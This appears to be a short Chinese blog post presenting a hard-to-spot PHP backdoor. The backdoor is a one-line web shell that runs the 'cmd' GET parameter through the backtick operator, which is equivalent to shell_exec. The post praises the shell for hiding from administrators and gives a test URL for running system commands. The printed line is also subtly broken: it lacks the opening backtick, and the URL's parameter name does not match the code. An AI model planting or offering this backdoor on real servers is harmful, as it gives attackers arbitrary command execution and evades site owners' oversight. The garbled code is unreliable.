一个不易发现的PHP后门

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

if(isset($_GET['cmd'])) echo {$_GET['cmd']}`;

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是Esc下面的一个键(位于感叹号!旁边的)。

通过

echo `系统命令`; 

可以达到

system();

一样的效果

如果不信的可以测试

http://127.0.0.1/t.php?r=dir

可以列出目录

我用 apache 已经测试成功